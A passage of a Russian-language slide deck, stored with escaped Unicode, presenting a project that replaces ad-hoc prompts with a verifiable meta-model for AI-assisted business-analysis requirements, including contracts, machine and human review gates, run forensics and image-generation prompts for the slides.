\u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\\n  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\\n  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\\n  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\\n> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0411\u043b\u043e\u043a 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.**\\n\\n- \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: **\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442**.\\n  \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438: 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f; \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n  \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430: \u0432\u0445\u043e\u0434 \u00d7 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u00d7 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u00d7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u00d7 \u0430\u043a\u0442\u043e\u0440 \u2014\\n  \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0433\u0435\u0439\u0442 \u2014 \u0432\u044b\u0445\u043e\u0434 + \u0441\u043b\u0435\u0434.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430: \u043d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 (`MM-1`), \u043d\u0435\u0442 \u0433\u0435\u0439\u0442\u0430 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\\n  (`MM-2`), \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435\u0441\u0451\u0442 \u0441\u043b\u0435\u0434 (`MM-3`), \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0448\u0430\u0433\u0430\\n  (`MM-4`).\\n\\n> **\u0424\u043e\u0440\u043c\u0443\u043b\u0430:** `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500\\n> Contract \u2500\u2500\u25b6 Gate \u2500\u2500\u25b6 Artifact_out + Trace`\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0447\u0435\u0442\u044b\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u043f\u0438\u0440\u0430\u043c\u0438\u0434\u0430 \u0441 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0440\u0430\u043d\u0438.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nAn exploded architectural diagram of four stacked translucent layers:\\na product layer on top, a process layer, a layer of many small identical\\noperation cubes, and at the bottom a row of finished artefacts; thin\\nvertical threads connect every artefact back up to its operation and\\nproduct.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\\n\\n- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n- \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0432\u044b\u0431\u043e\u0440 \u2014 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n\\n> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\\n\u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\\n\\n| \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c | \u0420\u0438\u0441\u043a \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a |\\n| \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA human brain rendered as a loose, glowing nebula on the left; on the\\nright the same energy is split into five precise crystalline modules,\\neach sealed inside its own transparent inspection chamber with a\\nclosed lock that only opens when a checklist lights up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0411\u043b\u043e\u043a 5. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c.**\\n\\n1. **\u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f:** \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443\\n   `C-IN`; \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n2. **\u0421\u0432\u0435\u0440\u043a\u0430:** \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u043a\u0435\u0439\u0441\u0430\u043c; \u043d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f\u043c\u0438.\\n3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n   API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430; \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n4. **\u0413\u0435\u0439\u0442\u044b:** `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, `G-human` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\\n   \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435 \u0432\u044b\u0431\u043e\u0440\u044b.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f:** \u043e\u0434\u0438\u043d \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432\\n   \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** \u0434\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439\\n> Release \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432:**\\n\\n| \u042d\u0442\u0430\u043f | \u0421\u0442\u0430\u0442\u0443\u0441 |\\n| --- | --- |\\n| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | 